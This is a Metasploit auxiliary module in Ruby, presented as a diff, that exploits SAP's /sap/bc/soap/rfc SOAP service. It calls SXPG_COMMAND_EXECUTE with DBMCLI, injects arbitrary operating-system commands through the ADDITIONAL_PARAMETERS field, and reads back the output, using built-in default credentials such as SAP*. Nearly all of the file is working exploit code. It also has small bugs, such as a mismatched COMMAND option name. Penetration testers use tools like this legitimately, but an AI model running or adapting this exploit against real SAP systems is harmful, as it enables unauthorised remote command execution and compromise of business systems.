sap_soap_rfc_dbmcli_sxpg_command_exec

Author: nmonkee

modules/auxiliary/scanner/sap/sap.linux.pcap

@@ -0,0 +1,160 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+##
+# This module is based on, inspired by, or is a port of a plugin available in
+# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
+# http://www.onapsis.com/research-free-solutions.php.
+# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
+# in producing the Metasploit modules and was happy to share his knowledge and
+# experience - a very cool guy. I'd also like to thank Chris John Riley,
+# Ian de Villiers and Joris van de Vis who have Beta tested the modules and
+# provided excellent feedback. Some people just seem to enjoy hacking SAP :)
+##
+
+require 'msf/core'
+
+class Metasploit4 < Msf::Auxiliary
+
+	include Msf::Exploit::Remote::HttpClient
+	include Msf::Auxiliary::Report
+	include Msf::Auxiliary::Scanner
+
+	def initialize
+		super(
+			'Name' => 'SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection',
+			'Description' => %q{
+					This module makes use of the SXPG_COMMAND_EXEC Remote Function Call, through the
+				use of the /sap/bc/soap/rfc SOAP service, to inject and execute OS commands.
+			},
+			'References' =>
+				[
+					[ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ],
+					[ 'URL', 'http://labs.mwrinfosecurity.com/blog/2012/09/03/sap-parameter-injection' ]
+				],
+			'Author' =>
+				[
+					'nmonkee'
+				],
+			'License' => MSF_LICENSE
+			)
+		register_options(
+			[
+				OptString.new('CLIENT', [true, 'SAP Client', '001']),
+				OptString.new('USERNAME', [true, 'Username', 'SAP*']),
+				OptString.new('PASSWORD', [true, 'Password', '06071992']),
+				OptEnum.new('OS', [true, 'Target OS', "linux", ['linux','windows']]),
+				OptString.new('CMD', [true, 'Command to run', "id"])
+			], self.class)
+	end
+
+	def run_host(ip)
+		payload = create_payload(1)
+		exec_command(ip,payload)
+		payload = create_payload(2)
+		exec_command(ip,payload)
+	end
+
+	def create_payload(num)
+		command = ""
+		os = "ANYOS"
+		if datastore['OS'].downcase == "linux"
+			if num == 1
+				command = "-o /tmp/pwned.txt -n pwnie" + "\n!"
+				command << datastore['CMD'].gsub(" ","\t")
+				command << "\n"
+			end
+			command = "-ic /tmp/pwned.txt" if num == 2
+		elsif datastore['OS'].downcase == "windows"
+			if num == 1
+				command = '-o c:\\\pwn.out -n pwnsap' + "\r\n!"
+				space = "%programfiles:~10,1%"
+				command << datastore['COMMAND'].gsub(" ",space)
+			end
+			command = '-ic c:\\\pwn.out' if num == 2
+		end
+		data = '<?xml version="1.0" encoding="utf-8" ?>' + "\r\n"
+		data << '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">' + "\r\n"
+		data << '<env:Body>' + "\r\n"
+		data << '<n1:SXPG_COMMAND_EXECUTE xmlns:n1="urn:sap-com:document:sap:rfc:functions" env:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">' + "\r\n"
+		data << '<ADDITIONAL_PARAMETERS>' + command + ' </ADDITIONAL_PARAMETERS>' + "\r\n"
+		data << '<COMMANDNAME>DBMCLI</COMMANDNAME>' + "\r\n"
+		data << '<OPERATINGSYSTEM>' + os + '</OPERATINGSYSTEM>' + "\r\n"
+		data << '<EXEC_PROTOCOL><item></item></EXEC_PROTOCOL>' + "\r\n"
+		data << '</n1:SXPG_COMMAND_EXECUTE>' + "\r\n"
+		data << '</env:Body>' + "\r\n"
+		data << '</env:Envelope>' + "\r\n"
+		return data
+	end
+
+	def exec_command(ip,data)
+		user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])
+		print_status("[SAP] #{ip}:#{rport} - sending SOAP SXPG_COMMAND_EXECUTE request")
+		begin
+			res = send_request_raw(
+				{
+					'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
+					'method' => 'POST',
+					'data' => data,
+					'headers' => {
+						'Content-Length' => data.size.to_s,
+						'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
+						'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
+						'Authorization' => 'Basic ' + user_pass,
+						'Content-Type' => 'text/xml; charset=UTF-8'
+						}
+				}, 45)
+			if res and res.code != 500 and res.code != 200
+				print_error("[SAP] #{ip}:#{rport} - something went wrong!")
+				return
+			elsif res and res.body =~ /faultstring/
+				error = res.body.scan(%r{<faultstring>(.*?)</faultstring>}).flatten
+				0.upto(output.length-1) do |i|
+					print_error("[SAP] #{ip}:#{rport} - error #{error[i]}")
+				end
+				return
+			elsif res
+				print_status("[SAP] #{ip}:#{rport} - got response")
+				output = res.body.scan(%r{<MESSAGE>([^<]+)</MESSAGE>}).flatten
+				result = []
+				0.upto(output.length-1) do |i|
+					if output[i] =~ /E[rR][rR]/ || output[i] =~ /---/ || output[i] =~ /for database \(/
+						#nothing
+					elsif output[i] =~ /unknown host/ || output[i] =~ /; \(see/ || output[i] =~ /returned with/
+						#nothing
+					elsif output[i] =~ /External program terminated with exit code/
+						#nothing
+					else
+						temp = output[i].gsub("&#62",">")
+						temp_ = temp.gsub("&#34","\"")
+						temp__ = temp_.gsub("&#39","'")
+						result << temp__ + "\n"
+					end
+				end
+				saptbl = Msf::Ui::Console::Table.new(
+					Msf::Ui::Console::Table::Style::Default,
+					'Header'  => "[SAP] SXPG_COMMAND_EXEC dbmcli Command Injection",
+					'Prefix'  => "\n",
+					'Postfix' => "\n",
+					'Indent'  => 1,
+					'Columns' =>["Output"]
+					)
+				for i in 0..result.length/2-1
+					saptbl << [result[i].chomp]
+				end
+				print (saptbl.to_s)
+				return
+			else
+				print_error("[SAP] #{ip}:#{rport} - Unknown error")
+				return
+			end
+		rescue ::Rex::ConnectionError
+			print_error("[SAP] #{ip}:#{rport} - Unable to connect")
+			return
+		end
+	end
+end